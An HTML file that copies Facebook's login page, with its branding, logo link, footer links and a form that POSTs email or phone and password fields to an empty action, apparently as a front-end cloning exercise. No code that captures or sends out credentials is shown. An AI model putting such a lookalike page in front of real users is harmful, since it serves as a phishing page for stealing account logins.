<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Facebook</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="./css/style.css">
</head>
<body>
    <!-- logo: https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg -->
    <div class="fix-m-header">
        <img src="./assets/cell-phone.png" alt="Android">
        <span>Get Facebook for Android and browse faster</span>
    </div>
    <div class="container">
        <!-- main container -->
        <div class="content">
            <!-- logo container -->
           <div class="left-content">
               <div class="f-logo">
                   <img src="https://static.xx.fbcdn.net/rsrc.php/y8/r/dF5SId3UHWd.svg" alt="Facebook" />
               </div>
               <h2 class="f-quote">Facebook helps you connect and share with the people in your life.</h2>
           </div>
           <!-- login form -->
           <div class="right-content">
               <div class="card">
                   <form action="" method="POST">
                       <div class="input-container">
                           <input type="text" name="phone" placeholder="Email address or phone number">
                       </div>
                       <div class="input-container">
                            <input type="password" name="pass" placeholder="Password">
                        </div>
                        <div class="login-btn-container">
                            <button class="login-btn">Log In</button>
                        </div>
                   </form>
                   <div class="forgotten-password">
                       <a href="#">Forgotten Password?</a>
                   </div>
                   <div class="divider"></div>
                   <div class="" style="text-align: center;">
                       <a class="crt-new-ac" href="#">Create New Account</a>
                   </div>
               </div>
               <div class="crt-page">
                   <a href="#">Create a Page</a>
                   <span>for a celebrity, band or business.</span>
               </div>
           </div>
        </div>
    </div>
    <footer class="f-lg-footer">
        <ul>
            <li><a href="">English (UK)</a></li>
            <li><a href="">বাংলা</a></li>
            <li><a href="">हिन्दी</a></li>
            <li><a href="">اردو</a></li>
            <li><a href="">नेपाली</a></li>
            <li><a href="">ଓଡ଼ିଆ</a></li>
            <li><a href="">Español</a></li>
            <li><a href="">Português (Brasil)</a></li>
            <li><a href="">Français (France)</a></li>
            <li><a href="">Deutsch</a></li>
            <li><a href="">Italiano</a></li>
        </ul>
        <div class="divider"></div>
        <ul>  
            <li><a href="">Sign Up</a></li>
            <li><a href="">Log In</a></li>
            <li><a href="">Messenger</a></li>
            <li><a href="">Facebook Lite</a></li>
            <li><a href="">Watch</a></li>
            <li><a href="">Places</a></li>
            <li><a href="">Games</a></li>
            <li><a href="">Marketplace</a></li>
            <li><a href="">Facebook Pay</a></li>
            <li><a href="">Jobs</a></li>
            <li><a href="">Oculus</a></li>
            <li><a href="">Portal</a></li>
            <li><a href="">Instagram</a></li>
            <li><a href="">Local</a></li>
            <li><a href="">Fundraisers</a></li>
            <li><a href="">Services</a></li>
            <li><a href="">Voting</a></li>
            <li><a href="">Information Centre</a></li>
            <li><a href="">About</a></li>
            <li><a href="">Create ad</a></li>
            <li><a href="">Create Page</a></li>
            <li><a href="">Developers</a></li>
            <li><a href="">Careers</a></li>
            <li><a href="">Privacy</a></li>
            <li><a href="">Cookies</a></li>
            <li><a href="">AdChoices</a></li>
            <li><a href="">Terms</a></li>
            <li><a href="">Help</a></li>
            <li><a href="">Settings</a></li>
        </ul>
    </footer>
    <div class="m-footer">
        <div class="m-f-lang">
            <ul>
                <li><a href="">English (UK)</a></li>
                <li><a href="">বাংলা</a></li>
                <li><a href="">हिन्दी</a></li>
            </ul>
            <ul>
                <li><a href="">اردو</a></li>
                <li><a href="">नेपाली</a></li>
                <li><a href="">ଓଡ଼ିଆ</a></li>
            </ul>
        </div>
        
        <div style="clear: both;"></div>
        <div class="links" style="text-align: center;">
            <a href="#">About</a><a href="#">Help</a><a href="#">More</a>
        </div>
        <div style="font-weight: 600;text-align: center;margin: 10px 0;color: #777;">Facebook Inc</div>
    </div>
    
    
</body>
</html>